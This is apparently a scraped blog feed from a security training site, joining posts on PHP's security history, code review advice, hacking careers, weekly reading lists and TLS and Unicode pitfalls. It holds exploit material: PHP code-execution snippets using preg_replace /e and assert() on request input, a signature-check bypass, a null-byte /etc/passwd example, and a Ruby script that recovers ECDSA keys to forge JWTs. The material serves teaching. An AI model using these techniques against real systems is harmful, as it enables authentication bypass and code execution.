In summary, while memory safety and typing are important, the real strength of a secure programming language lies in the quality of its standard library, the clarity of its documentation, and the predictability of its functions. By focusing on these areas, developers can build more secure web applications and avoid common security pitfalls. Remember, don’t reinvent the wheel when it comes to security—use the tools and resources provided by the language and framework to your advantage.

]]> Fri, 26 Jul 2024 00:00:00 +0000 https://pentesterlab.com/blog/what-makes-a-language-more-secure https://pentesterlab.com/blog/what-makes-a-language-more-secure

There’s been a lot of chatter about PHP being insecure, but as Luke Stephens points out in his article, "People who say 'PHP is insecure' are uninformed", PHP is not that bad anymore. He breaks down why this belief is outdated and misinformed. One thing this article does not cover is something a lot of people don't realize: Programming languages change over time. PHP from 15 years ago is different from today's PHP.

Blast from the Past...

If you are old-school, you probably remember Stefan Esser (i0n1c) and "The Month of PHP Bugs". Basically, Stefan spent March 2007 dropping vulnerabilities in PHP—not PHP applications, but PHP itself. This "Month of PHP Bugs" was started to increase awareness about PHP's lack of security. At the time, the PHP Hardened team was working on providing hardened versions of PHP (the "suhosin" patch). You can still find details about those bugs on web.archive.org: "The Month of PHP Bugs".

Around this era, PHP applications were extremely common and had a very poor security track record.

All of this didn't help PHP's reputation. But it was 17 years ago, and a lot has changed since then. One main thing is that PHP has reduced the number of surprising behaviors for developers. Let's dive in!

PHP has Changed and is Changing

The PHP language has evolved significantly over the years. Many tricks to find vulnerabilities in PHP applications or exploit vulnerabilities in PHP have been rendered obsolete with new versions. Let's look at some of the significant changes!

Null Bytes...

PHP used to rely on C functions to access files. C functions are notoriously bad at handling NULL bytes (\x00 or URL-encoded %00). If you pass the string /etc/passwd\x00hacktheplanet to read a file, C functions will stop at the NULL byte and read the file /etc/passwd. This behaviour created a lot of vulnerabilities or made a lot of weaknesses exploitable. PHP moved away from this with PHP 5.3.4 by fixing CVE-2006-7243.

PCRE_EVAL

Another surprising behavior in PHP was available when you had control over a regular expression. The infamous PCRE_EVAL or /e could be used to have the result evaluated as PHP code, allowing for quick remote code execution. For example, in the snippet below:

echo preg_replace("/test/e","get_current_user()", "test");

will end up replacing test with get_current_user() and execute get_current_user() as PHP code... An real-life example of the danger of this can be found by analyzing CVE-2005-2086: a remote code execution impacting PHPBB. This behavior was removed in PHP 7.0.0 (released in December 2015)

Loose Comparisons

Loose comparisons have also been a big issue in PHP. Why does "php" == 0 or why does "1`uname`" == 1? This unexpected behavior was changed in PHP 8.0. Look for the little stars in the image below and the notes below the table:

While we're at it, why is declare(strict_types=1); so rarely used by PHP applications?

Assert and RCE

PHP 8.0 also impacted the ability to gain remote code execution (RCE) by leveraging assert(). The contrived example below illustrates the issue:

echo assert(trim("'".$_GET['a']."'")); 

and will lead to code execution.

Assert and Raising...

Another unexpected behavior of PHP was the fact that, by default, assert() wouldn't stop the execution of the code. Admittedly, you could change this behavior, but as good application security engineers know: "defaults matter". With PHP 8.0 (August 2023), the behavior has changed, and a failing assert() will stop the execution of the code by default! Before PHP 8.0, the following code:

echo assert(true == false);
echo "HACK";

will echo HACK in the default PHP configuration

hash_hmac()

Speaking of warnings, the following code illustrates a good trick to bypass a signature check - passing an array instead of a string:

hash_hmac('sha256',  array(), "HACKTHEPLANETWITHPENTESTERLAB");

This code returned NULL and raised a warning until PHP 8.0; since then, it has been raising a TypeError.

Htmlentities and Single Quotes...

Another trick to find quick bugs in PHP applications was to look for values echoed in a page in JavaScript using single quotes. This used to work because PHP didn't escape single quotes by default. Again, in application security, defaults matter! This behavior was changed with PHP 8.1.

Before PHP 8.1:

echo htmlentities("\"'<>"); //returns &quot;'&lt;&gt; 

After PHP 8.1:

echo htmlentities("\"'<>"); //returns &quot;&#039;&lt;&gt;

So, is PHP Great Now?

Well, there are still some surprises and interesting behaviors that were recently fixed in PHP. For example, check out this bug in password_verify() (The first comment is worth reading just to learn how not to do application security).

PHP 8.1 also introduced new features that may surprise developers and likely bring a few bugs: $_FILES[...]["full_name"]. It's worth keeping an eye out for this in your next reviews.

Conclusion

PHP has come a long way from its insecure past. While it has made significant strides in improving security and reducing unexpected behaviors, it's crucial for developers to stay informed about new features and potential security issues. Keeping up-to-date with the latest changes ensures that PHP applications remain secure and robust.

]]> Tue, 23 Jul 2024 00:00:00 +0000 https://pentesterlab.com/blog/php-security-is-improving https://pentesterlab.com/blog/php-security-is-improving h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we publish a list of research worth reading!

🔥 Unveiling TE.0 HTTP Request Smuggling

This blog post provides details on the exploitation of TE.0 request smuggling. Definitely worth a read as a lot of people thought this wouldn't work...

🛠️ Lemma

If you missed this new tool from defparam, you are probably living under a rock: defparam/lemma (no longer available). Take 20 minutes to look it up and see how it is a game changer to automation.

👉 Encoding Differentials: Why Charset Matters

If I had time to do bug bounty, this is what I would be looking into right now: "Encoding Differentials: Why Charset Matters".

🥪 Multi-sandwich attack with MongoDB

A great post on attacking MongoDB: Multi-sandwich attack with MongoDB, great level of details and very interesting walkthrough

🛠️ One Shell to Rule Them All

The team at Tanto released a new tool and put together a sweet write-up to help you start using it:

👉 Github Actions Exploitation: self-Hosted Runners

The Synactkiv team is back with another blog post on Github Actions, this time on self-hosted runners exploitation.

👉 AppSec eZine #544

AppSec eZine is back with issue #544

]]> Mon, 22 Jul 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week29-2024 https://pentesterlab.com/blog/research-worth-reading-week29-2024

I think the hardest part for pentesters transitioning into security code review is going back to the low level of confidence they had when starting as blackbox testers and starting all over again. A big part of becoming a good blackbox tester is learning to be uncomfortable until you finally become comfortable: you're more knowledgeable and you know you can figure it out with a high degree of confidence. Security code review is exactly the same.

Here's the honest truth about this transition:

• It’s Hard: There’s no sugar-coating this. It's a challenging journey that demands patience and perseverance.
• It Takes Time: Just as it did with pentesting, mastering code review is a gradual process.
• Be Prepared to Feel Dumb Again: This is part of the learning curve.

Key Tips for the Transition

# Stay Focused

Commit to spending substantial time on one codebase. Don’t switch targets every few hours just because you haven’t found a zero-day vulnerability. A chaotic approach won't help you grow as a code reviewer.

# Find Good Targets

Selecting the right codebases is crucial. You don't want something too hard or something too simple. You need to be able to grow. For guidance on this, check out our other blog post on How to start reviewing code?.

# Measure Success Differently

Stop measuring your success by the number of vulnerabilities you discover. Instead, look at your improvement in understanding code, navigating codebases, and deciphering complex code structures. These metrics are far more indicative of your progress as a reviewer.

# Understand That What You Read/See Is Not the Reality

You have probably come across a few blog posts or talks at security conferences and you think that what you read or saw is how code review happens. When you read or watch those, you only see the happy path: a shortcut that explains the issue. These rarely highlight the struggle, the real path the reviewer took to find a bug, or the thousands of detours they took along the way. They also don’t talk about the hundred times the reviewer wanted to give up.

# You’re Not Wasting Your Time

Even if you feel like you're not making significant progress, remember that all the time spent will at least help you become a better pentester. It's never wasted effort.

---

So, take a deep breath, embrace the suck, and dive into the world of code review with a positive mindset. You'll find that with time, persistence, and perseverance, you'll get there!

]]> Thu, 18 Jul 2024 00:00:00 +0000 https://pentesterlab.com/blog/pentesters-to-security-code-reviewers https://pentesterlab.com/blog/pentesters-to-security-code-reviewers h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we publish a list of research worth reading! For the first time, we also make this content available on our blog!

🔥 The case for burning counterterrorism operations

This blog post provides a response to the blog post Google: Stop Burning Counterterrorism Operations. Regardless of your opinion on the matter, both are worth reading and reflecting on to forge your own opinion.

👉 PlORMbing your Prisma ORM with time-based attacks

The great Elttam team is back at it with their series on ORM with this blog post: "PlORMbing your Prisma ORM with time-based attacks". Definitely worth a read.

🪲 Introducing a New Vulnerability Class: False File Immutability

A long, high-quality blog post to learn more about Windows Internals: Introducing a New Vulnerability Class: False File Immutability

👉 AppSec eZine #543

AppSec eZine is back with issue #543

👉 Evernote RCE

A very detailed and high-quality post on a RCE in Evernote leveraging PDF.js. The content covers both the vulnerability and its exploitation and some Electron internals.

]]> Mon, 15 Jul 2024 00:00:00 +0000 https://pentesterlab.com/blog/cyber-research-worth-reading-week28-2024 https://pentesterlab.com/blog/cyber-research-worth-reading-week28-2024

One effective way to accelerate your security code review or pentest is to understand what developers get for free! In this blog post, we'll see why this matters.

But how do you know what developers got for free? Great question!

So what do developers actually get for free — and what should they?

Let’s walk through a few examples of where frameworks and languages are doing a great job, and where they still leave developers exposed to unnecessary risks.

Examples of what developers already get for free

Modern frameworks do a great job at embedding security features into the core developer experience. Here are a few examples that stand out:

Django's password hashing auto-upgrade: when a user logs in, Django transparently re-hashes their password using the most secure algorithm configured. Developers don’t need to worry about migrating hash formats or checking against legacy ones — it just works, securely.

Traversal-resistant file APIs in Go: Go recently introduced secure file system functions that help prevent directory traversal vulnerabilities. With these APIs, developers can safely resolve file paths without manually sanitizing input or writing fragile code. It’s an example of how better primitives lead to fewer bugs.

But what are we still missing?

While frameworks and languages have improved significantly, there are still security pitfalls that developers routinely fall into — often because the APIs lead them in the wrong direction by default.

HTTP clients that follow redirects by default: This behavior is one of the most common causes of SSRF vulnerabilities observed during code reviews and CVE research. Developers add a deny list of internal IP addresses to prevent SSRF, but the HTTP client automatically follows redirects — allowing attackers to bounce through an external site and land inside the restricted range.

Disabling redirect-following should be the default, or at the very least much easier to control. Developers should have to opt into redirect behavior — not the other way around.

Hostname validation done wrong: Validating that a hostname belongs to a trusted domain seems easy, but it’s a trap for many developers. Common mistakes include using Contains("trusted.com") or even EndsWith("trusted.com"), which can be bypassed with hostnames like notreallytrusted.com or hackingtrusted.com.

This could be solved with better APIs — something like isSubdomainOf("trusted.com", input) — that do the hard work correctly and consistently, making it easier to avoid common errors.

In summary

The more developers get for free — through secure defaults, guardrails, and high-quality primitives — the less they have to invent and the less security has to review. Some frameworks like Django and Go are leading the way, but there’s still a lot of room for improvement.

We should continue asking: what else should developers get for free? Because the more we get this right at the foundation, the more secure our applications become — by default.

In web hacking, scripting is a key skill that separates good hackers from great ones. If you follow top web hackers, you’ll notice they use a lot of scripts. But why is scripting so important?

Automate the Tedious Tasks

Web hacking involves many repetitive tasks, like testing inputs or extracting data. Scripting helps automate these tasks, saving you time for more complex problems. Imagine having a script that maps out a website or checks for vulnerabilities automatically — it’s like having a helpful assistant.

Quick Feedback Loops

Fast feedback is crucial in web hacking. The quicker you can test and see results, the faster you can improve your approach. Scripting gives you instant feedback, helping you adjust your tactics quickly. Whether you’re testing a new payload or refining an exploit, scripts provide the quick insights you need.

Reduce Mistakes

Humans make mistakes, especially with repetitive tasks. Scripts help reduce errors and typos by ensuring consistency. A well-written script performs tasks flawlessly every time, reducing the risk of missed vulnerabilities or faulty exploits.

It’s Fun!

Have you ever written a script that extracts data from a database bit by bit, watching the string appear byte by byte? It’s like solving a digital puzzle. Scripting turns boring tasks into fun challenges, making hacking more enjoyable.

Learning Opportunity

Scripting is a great way to learn. As you write more scripts, you’ll improve your coding skills, problem-solving abilities, and get better at debugging and exploiting issues. Each script teaches you something new, helping you become a more skilled hacker over time.

Overcoming Tool Limitations

Automated tools are useful, but they have limits. Top hackers often face challenges where these tools fall short, like weird HTTP parser bugs or complex SQL injections. Custom scripts help tackle these unique problems. Writing your own scripts allows you to exploit vulnerabilities that automated tools might miss.

Easier Sharing

Scripts are easier to share with others. Code is clear and precise, unlike written instructions that can be misunderstood. Sharing a script ensures others can replicate your actions exactly, reducing errors and improving collaboration. This makes working with a team or contributing to the hacking community more effective.

Building a Repertoire

The first script might be tough, but it gets easier with practice. As you build a library of scripts, you can use them to speed up your work. Over time, you’ll develop a powerful toolkit that helps you tackle new challenges more efficiently. Scripting becomes a habit, and your efficiency as a hacker grows.

Getting Started with Scripting

If you’re not sure which scripting language to choose or how to get started, check out our YouTube channel, @PentesterLab. We have a video on how to pick a scripting language that’s right for you. From Python to JavaScript, there’s a language that will suit your style.

In conclusion, scripting is not just a skill but a crucial part of effective web hacking. It automates tedious tasks, provides quick feedback, reduces errors, and makes hacking more fun. It’s a great learning tool, helps overcome the limits of automated tools, and improves collaboration through shareable code.

You wrote the perfect resume, the interview is going well! Now the classic “Do you have any questions for us?” is coming. Asking questions is a great way to look prepared, show your interest, and learn more about the company...

But what should you ask?

In this blog post, we’ve compiled a few questions that will help you learn as much as possible about the team you’re looking to join and demonstrate that you know how to ask the right questions. Keep in mind, it’s best to pick one or two questions that are most important to you rather than asking all of them.

When handling customer support for PentesterLab, we often get emails from people who can’t solve a challenge:

“… I have been working on this challenge for the past 3 days and I really can’t get it to work.”

Often, it’s a tiny detail that is missing. Some encoding, a small typo, or something similar. After solving the issue, we sometimes get an email like:

“… I can’t believe I missed that, I’m such an idiot…”

And this is our usual reply:

It’s normal to make mistakes. You’re here to learn. Don’t be too hard on yourself. This is hard, and every detail matters.

If you spend 3 days struggling to solve a lab, and after 3 days you decide to contact support, you should be proud of yourself. You tried really hard, you struggled, and you didn’t give up for a long time despite how frustrating it can be.

Now you have the answer, you know what mistakes you made. Trust me, you’re not going to forget this one. And it’s likely to be the first thing you will check next time you get stuck.

You are much better than you were 3 days ago. You spent a fair amount of time trying to debug what was happening. Learning to debug payloads and exploits is probably more important than managing to exploit an issue on the first try. I would argue that most hacking is about trying to understand or guess with a high level of certainty what the issue actually is (or if there is an issue at all).

Keep going, embrace the suck, you are on the right path!

In the world of hacking, the right tools can make all the difference. However, when you’re just starting out, it’s crucial to understand the fundamentals before leaning on these automated solutions.

When learning how to attack web applications, automated tools are very attractive. They can quickly find and exploit vulnerabilities and even suggest how to fix them. You run a command with a few parameters and you get the flag. However, depending only on these tools without understanding how attacks work can hinder your growth as a hacker. This post explains why you should focus on manual learning before using tools.

I (@snyff) recently tweeted about learning to attack JWT and jwt_tool:

As much as I appreciate jwt_tool, please don't use it to learn how to hack JWT.

You have the perfect opportunity to learn crypto-engineering and a lot of fascinating vulnerability classes.

Don't deprive yourself from this invaluable learning experience!

— Louis Nyffenegger (@snyff) April 30, 2024

This idea applies to a lot of areas in cybersecurity. Tools like SQLmap, SAMLRaider and jwt_tool just to name a few, are powerful, but they shouldn’t be your first choice when learning. Instead, they should be used to save time after you have a solid understanding of the basics. If you use these tools without understanding the underlying attacks, you will miss out on important learning.

The automation provided by these tools is extremely convenient, but it can also stop you from learning the essential skills needed to understand and manually exploit these vulnerabilities:

1. Incomplete Understanding: If you rely on tools, you miss the learning process. For example, if you use SQLmap without understanding how SQL injections work, you won’t know how to create an attack payload, identify different types of SQL injections, or understand database error messages.
2. Tool Limitations: What happens if the tool fails? Tools are not perfect and can miss vulnerabilities or fail to exploit them. If you haven’t learned the manual techniques, you’ll be stuck when the tool doesn’t work.
3. Advanced Exploitation: Many tools handle only basic or well-known techniques. Understanding the fundamentals allows you to create advanced and custom exploits that can bypass protections tools might not account for.
4. What if the tool doesn’t support a specific attack or technology? You’ll need to revert to manual exploitation. Without manual skills, you’re back to square one. However, if you know how to do it manually, this becomes a minor hurdle rather than a major roadblock.

The knowledge and attack patterns you will discover by doing manual testing and exploitation can be applied to other technologies that may not have a tool yet.

To become good at hacking, it’s important to embrace manual learning. Here are some steps to guide you:

1. Learn the Basics: Start by learning the basic principles of the vulnerabilities you are targeting. Read about SQL injection, JWT vulnerabilities, XSS, CSRF, and more.
2. Practice Manually: Practice finding and exploiting vulnerabilities manually. Build your own labs or use platforms like PentesterLab, whatever works best for you. This hands-on experience is extremely valuable.
3. Analyze Tools: Once you understand the basics, look at how tools like Sqlmap and jwt_tool work. Examine the payloads they create and the methods they use to exploit vulnerabilities. This can give you insights into advanced techniques and automation.
4. Develop Your Own Tools: Try writing your own scripts to automate parts of the exploitation process. This will deepen your understanding of the attacks and improve your programming skills.

Learning to hack is a journey, not a race.

Don’t rush the process. Take the time to enjoy the learning experience and explore the fascinating world of hacking. Understanding the details of attacks not only makes you a better hacker but also helps you create more secure systems.

By understanding the fundamentals and practicing manual exploitation, you build a strong foundation that tools can then enhance. Enjoy the journey and strive for a deeper understanding to become a more effective and versatile hacker.

Happy Learning and Happy Hacking!

In every field, people eventually hit plateaux in their progression. Security code review is no different. In this article, we explore common reasons for these plateaux and how to overcome them!

1. You only use grep

A common reason for hitting a plateau is relying solely on “grep” to find bugs, hoping for quick wins. While “grepping for a bug” is a valid strategy, it’s not the best way to learn and improve your skills. This approach can also be very frustrating. Try to use grep less and spend more time actually reading the code. Remember, in security code review, you get out what you put in. Low effort leads to low reward!

2. You only search for vulnerabilities

Limiting yourself to searching for security issues can hinder your progression. You need to spend time and explore the codebase to understand its architecture and the developers’ style and common patterns. This broader understanding helps you find vulnerabilities that others might have missed. Simply searching for known vulnerabilities will only yield expected results. Reading and understanding the code can reveal the unknown unknowns.

3. You don’t go deep

Another plateau arises when you don’t spend enough time on the same code. Finding vulnerabilities requires discovering issues that developers and perhaps other security researchers overlooked. This requires deep focus on reading and re-reading the same sections of code. Browsing won’t cut it; you need to dive deep and get obsessed with specific lines of code to uncover hidden issues.

• Study CVEs: Analyze patches to understand what was changed, what the vulnerable code looked like, and how issues were fixed.
• Read documentation: Gain a deeper understanding of the languages and frameworks you use to spot potential unexpected behaviours and pitfalls.
• Fuzz code snippets: Explore small pieces of code to find possible unexpected behaviours.

5. You don’t do it enough

Consistent practice is crucial in security code review. To get better at uncovering vulnerabilities, you need regular practice not only to hone your skills but also to build your resilience. Enduring through periods when no bugs are found is key; your persistence during these dry spells often makes the difference. By continuing to search when others might give up, you increase your chances of finding more vulnerabilities.

We hope this post gives you useful strategies to overcome the plateaux in your security code review journey. To further enhance your skills, make sure you check out PentesterLab’s Code Review and Java Code Review badges!

Tell a bit more about yourself?

My name is Ryan Montgomery, also known in the cybersecurity world as 0day. I’ve been captivated by the world of computers and cybersecurity since I was a young kid, and that passion has only grown over time.

I have spent most of my life in this field. My journey into cybersecurity began with self-learning, long before the educational platform “boom.”

How Did You Come Across PentesterLab PRO?

I was recommended to try out PentesterLab by a bug hunter named Naffy, and it turned out to be a game-changer for me. The platform offers a deep understanding of web vulnerabilities and more, going beyond mere exploitation.

I loved it so much that I completed all the badges they offer. It’s one of the first resources I recommend when someone asks where to start.

What Have Been Your Favorite Exercises So Far?

PentesterLab has a wealth of JWT (JSON Web Tokens) exercises that have allowed me to understand not just how to exploit vulnerabilities but also why those vulnerabilities exist in the first place.

Do You Do Bug Bounty? And If Yes, Did PentesterLab Help You?

I do participate in bug bounty programs to some extent, but my primary focus has been on starting https://pentester.com. PentesterLab has been incredibly helpful in enhancing my skill set and has inspired me to be more creative.

What Exercises/Areas Do You Think PentesterLab Should Cover in the Future?

I would love to see more mobile-related exercises, especially focused on iOS. While there is a badge dedicated to Android, which is great, being well-rounded in both platforms would add value. Additionally, I’d appreciate exercises related to browser extension exploitation.

Where Did All This Lead You?

I was so inspired by my learning journey with PentesterLab that I went on to start my own cybersecurity company, https://pentester.com/. Whether you’re a beginner or a seasoned professional in cybersecurity, there’s always something new to learn, and platforms like PentesterLab make that learning both accessible and engaging.

Where Can People Follow Your Progress?

You can follow me on Instagram at @0day or connect with me on Twitter: @0dayCTF

require 'ecdsa'
require 'digest/sha2'
require 'openssl'
require 'base64'

# gem install ecdsa
# to get it working

# We take the token from the command line
token = ARGV[0]

# We use Secp256r1
group = ECDSA::Group::Secp256r1

# We split the token to get the data to digest and the signature
parts = token.split('.')
data=parts[0]+"."+parts[1]
signature_b64 = parts[2]

# we compute the 
digest = Digest::SHA2.digest(data)


# we create an ECDSA::Signature from the JWT signature 
signature_bytes = Base64.urlsafe_decode64(signature_b64)

r = ECDSA::Format::IntegerOctetString.decode signature_bytes[0..31]
s = ECDSA::Format::IntegerOctetString.decode signature_bytes[32..-1]
signature  = ECDSA::Signature.new(r,s)

# We recover all the potential keys in an array
keys = ECDSA.recover_public_key(group, digest, signature).to_a


# Finally, we use OpenSSL to get the keys in a pem format.
group = OpenSSL::PKey::EC::Group.new('prime256v1')
ec_key = OpenSSL::PKey::EC.new(group)

keys.each do |point| 
  ec_point = OpenSSL::PKey::EC::Point.new(group, ECDSA::Format::PointOctetString.encode(point))

  if  OpenSSL::VERSION =~ /\A3\./
          asn1 = OpenSSL::ASN1::Sequence([
            OpenSSL::ASN1::Sequence([
              OpenSSL::ASN1::ObjectId("id-ecPublicKey"),
              OpenSSL::ASN1::ObjectId('prime256v1')
            ]),
            OpenSSL::ASN1::BitString(ec_point.to_octet_string(:uncompressed))
          ])
    ec_key = OpenSSL::PKey::EC.new(asn1.to_der)
  else
    ec_key.public_key = ec_point
  end
  puts ec_key.to_pem
end

Finally, as an attacker, you can sign the JWT using HMAC with the keys in the output of this script, then test each signature to determine which one allows you to forge tokens.

As before, PentesterLab provides a hands-on challenge that teaches you how to exploit this issue. Check it out here: JWT Algorithm Confusion ECDSA Key Recovery

As the use of JWT continues to grow, understanding the potential vulnerabilities and attack vectors is crucial for developers and security professionals. Algorithm confusion attacks are a significant threat, and as demonstrated by Bálint’s research and this blog, they can be exploited even without access to the public key.

In this blog post, we are going to cover a strategy to help you get a job as a pentester or application security professional.

There is a lot of content on what you need to learn but not that much on what strategy you should follow.

First, let’s say we have different levels of knowledge: level 0 to level 5. It is a totally arbitrary scale but I just want to illustrate my point.

Level 0 you know as much as anyone else who doesn’t work in security

Level 1 you know a bit more than the average person. You know some of the acronyms and can explain basic concepts. That is also the level where you should be careful as you feel like you know a lot but you’re just at the beginning of your journey

Level 2 is you can find bugs using automated tools or by just re-using payload and spamming every field in a page. At this level, if your tool doesn’t report an issue, you think there is no issue.

Level 3 is you are able to edit tools to change their behaviour, read a bit of code to understand what a tool is doing. You know how to debug a payload that doesn’t work.

Level 4 you are able to write advanced tools, derive new payloads and find bugs no one else found before.

Level 5 you master the domain. You publish bleeding edge research on the subject. Maybe did a talk at BlackHat on the subject or something.

It’s very simple to go from level 0 to level 1. It is a bit harder to go from level 1 to level 2. A lot harder to go from 2 to 3. Even harder to jump from 3 to 4 and going to 4 to 5 is extremely hard.

As a side note, the interesting thing is that most people even in security have a hard time telling the difference between 3 and 4 and they can’t tell the difference between 4 and 5 aside from “this person did a talk at BlackHat”.

Now let’s look at categories. Again completely arbitrary. Let’s divide pentest into the following categories:

• Network
• Web
• Exploitation
• Windows
• Unix/Linux

Now when you look at someone you admire in the industry, you feel like they are something like:

In reality, they are more like (and that is for the best of the best):

Now let’s see how a lot of people learn pentest or appsec when they get started. Most people go level 1 in one category, level 1 in another, then level 1 across the board. They look a bit like this:

Then they move to level 2, level 2 in one category, level 2 in another category and they keep going:

But then they hit a wall when they want to get to level 3 and often look at other level 2 they should learn that are adjacent to pentesting. Maybe a bit of social engineering, maybe a bit of programming:

The problem is that they never reach that level 3. Level 3 is where you start to really doing interesting things like writing/reading simple code, debugging complex issues, questioning the output of tools, being able to give useful advice to others. You also have all these intra key-skills that will help you get into level 3 in other domains:

• Being able to google things properly.
• Actually reading error messages.
• Not trusting the recommendations with the most votes on StackOverflow.
• Using tools like docker.
• Increase in velocity.
• Deep understanding of complex subjects
• Ability to comprehend trade-offs you may have to make.
• You know what you don’t know.
• ...

Now, let’s jump to the role of a team manager. When you are hiring juniors, you know that you’re not hiring the best pentesters. You are hiring the person who may become a great pentester. And you know (hopefully), that the hard part is not being a level 2 everywhere, it’s being able to become a level 3. You want junior who can demonstrate they managed to reach that level in one given field. Not necessarily across the field, just a subject in the field. But you are convinced that they are going to get there.

The team manager already have some people in their team. If you look at their team it might look something like this:

One person is level 2 across the board, that may be the manager. Then you have people who are level 2 and one level 3, or even level 4 and 5 if you are lucky.

The magic is that if you get your team working together, you get to have a team that can work in all categories at level 3 or 4.

If you are hiring, you also know that a lot of people make it to level 2. But not so many people go to level 3, 4 or 5. And you know that level 3, 4 or 5 in one category with blind spots is a lot better than level 2 across the board. Level 3 gives you shells other people may miss, level 3 gives you talks at local meetups, level 3 gives you cross-pollination as in your whole team getting better in a subject thanks to that one person.

Down the track, your team will hopefully look like this:

So let’s get back to you looking for a job, you would be better be a level 3 in one category instead of level 2 everywhere.

You may say: “Being level 3 in one category is incredibly hard!” And you will be right! My advice is first to focus your time in one category and get to level 2. Then find one subject in this category in which you want to go deep. Stick to this subject until you can understand and reproduce bleeding-edge research. Stick to it until you can debug tools for it. Stick to it until you can read the source code of tools for it. Stick to it until you can talk about it at a local meetup. Stick to it until you can do some write-ups on it. Basically, stick to it until people feel you’re really good at it. And then move to another subject in the same category.

Since a lot of work in pentesting is performing web testing and that a lot of people prefer to do internal testing (since it is like shooting fishes in a barrel). This is what most people should aim for:

But don’t make the same mistake too many people are doing: trying to fix your blind spots instead of building on your strength. If you’re a developer, pick something that is related to code. If you are a Windows sysadmin, pick something that is related to Windows security…

To conclude, try to get really good at something instead of average at everything. This is where the bugs are and this is what will help you get a job.

Too often (me included), savvy code reviewers recommend to get started into code review by “Just reading code” and that is indeed the best way to get started. It is a simple answer but it lacks one extremely important detail that most people who have been reviewing code for a while often forget about:

What code should I start with?

The first step when getting into code review is to find a few good targets. This is critical as you don’t want to start too hard and be discouraged. You want to start with something simple and build up your confidence. Some people may be able to start hard and start with reviewing Kubernetes’ source code, but for the majority of people (me included), this is just paving the way to failure.

To build your understanding and to keep progressing without being frustrated, it is good to start with small snippets. Ideally really small snippets of vulnerable code like the ones PentesterLab provides in the Code Review badge. Try to start with your favourite language or the one you are the most confident in and build your confidence up.

Look at patches you can extract from looking at CVE.

If you don’t have access to PentesterLab snippets (and this is step 2 if you do), a good alternative is to look at patches you can extract from looking at CVE. You can for example follow security mailing lists of a few open source software you are using. I personally find the mailing list from the Apache foundation (covering all the Apache projects not just Apache httpd) and the Ruby-on-Rails security mailing-list to be great starting points. The Apache mailing-list will provide you with diversity both in terms of software, vulnerabilities and languages. The Ruby-on-Rails mailing-list will provide you extremely well documented issues making it easy to get started.

Once you are confident (or bored) with reviewing patches, you can move to libraries.

As opposed to complete software, libraries are often small codebases that try to solve only one problem. Another advantage of libraries is that there often is more than one library in a given language. This allows you to review multiple implementations of the same thing and compare them. Making it easier to see what checks may be missing in one implementation. Libraries for things like JWT (you can find a few here: https://jwt.io/libraries), Session management, File processing/upload… often make good first targets. You can then move to stronger targets like SAML or OAuth2 implementations once your confidence is up.

Once libraries have no secret for you and you want to pick harder targets, you can move to classic software. Reviewing the entire codebase for a software may quickly get frustrating, starting with some common features may make things easier as you are increasing the intensity of your study. For example, reviewing user registration, password reset, password storage, file uploads… instead of reviewing all the codebase and getting frustrated.

Then, instead of jumping to hard targets (Wordpress, PHPMyAdmin, Tomcat, Apache Httpd…), finding softer, less mature codebases may help you in your study. Codebases in the curated lists like “Awesome [Language]“ (for example “Awesome Golang”) are often a good place to start. Again, start with the language you feel the most familiar with (as a reviewer) and get started. Once you feel like you are competent at isolating vulnerable patterns in this language, you can move to codebases in other languages and apply those patterns.

How to measure success?

Finally, make sure you measure success properly. You cannot measure your progress by wether or not you discover vulnerabilities. There may be nothing to be found. Instead try to measure your level of understanding of the code, the quantity and complexity of patterns you know about and can isolate, how easy it is for you to approach a new codebase… In the same way, velocity is not a great indicator of progress. You can get fast at reading code but if you don’t understand it or miss something, you are not really improving. It is all about quality over quantity, especially when you are studying. A lot of skilled code reviewers will tell you that they usually spend hours reading the same 50 lines of code and that number of lines of code per hour does not matter.

And if you want to speed up your study, make sure you check out PentesterLab PRO and our code review badge!

I recently found a small issue in some TLS clients. More precisely, it is more of a difference between what happens and what I expect to happen. Let’s dig in!?

When you use TLS, you can decide to use your own certificate authority (CA). Three main reasons:

1. cheaper (arguable nowadays with https://letsencrypt.org/)
2. easier (arguable nowadays with https://letsencrypt.org/)
3. A compromise/malicious CA is in your threat model.

If you pick #3, you should keep reading.

In many TLS clients (curl, wget, httpie…) and libraries, you have options like cacert or capath (or similar). These options are used to trust one or many Certificate Authorities.

When you run clients with one of these options, you pass the certificate or certificates you want to trust. But this is ambiguous, let’s see why.

Some tools will add the CA provided to the list of authorities the system already trusts. Other tools will only trust the CA provided (and no longer trust the authorities that the system already trust).

So if you don’t want to trust your system’s CAs and use your own CA, you should make sure that all your TLS clients will not trust the system CAs even if you pass the « right » option.

You can easily test this by generating a self-signed cert:

$ openssl req -newkey rsa:4096 -new -nodes -x509 -days 365 -out cert.pem -keyout key.pem -subj “/C=AU/ST=Victoria/L=Melbourne/O=PentesterLab/CN=pentesterlab.com”

$ curl — cacert=ca.pem https://pentesterlab.com

After reading this blog post on a bug in Github and Unicode, I started playing more and more with Unicode (even bought two domains).

Recently, I had a Eureka moment while camping and started wondering: “what was the impact of those uppercase and lowercase transformations on regular expression?”

And the response is straightforward: it depends!

First, let’s say your website wants to ensure that an URL provided is part of a list of trusted URLs (to avoid SSRF or as part of a CORS policy). Your website can use a list of predefined URLs, but this quickly gets tedious. So after a while, you decide to move to a regular expression. You check that the host in the URL ends with your domain. Your code looks something like this:

host =~ /domain.tld$/

host =~ /domain.tld$/i

email =~ /domain.tld$/i

Every week, our twitter account @PentesterLab publishes a list of articles worth-reading. This is the list of all the articles for 2019. Enjoy!!

30/12/2019

🗞️ https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41

23/12/2019

🗞️ https://unit42.paloaltonetworks.com/what-i-learned-from-reverse-engineering-windows-containers/

🗞️ https://eng.getwisdom.io/hacking-github-with-unicode-dotless-i/

🗞️ https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

🗞️ https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/

16/12/2019

🗞️ https://hipotermia.pw/bb/http-desync-idor

🗞️ https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md#git-submodule-update-command-execution

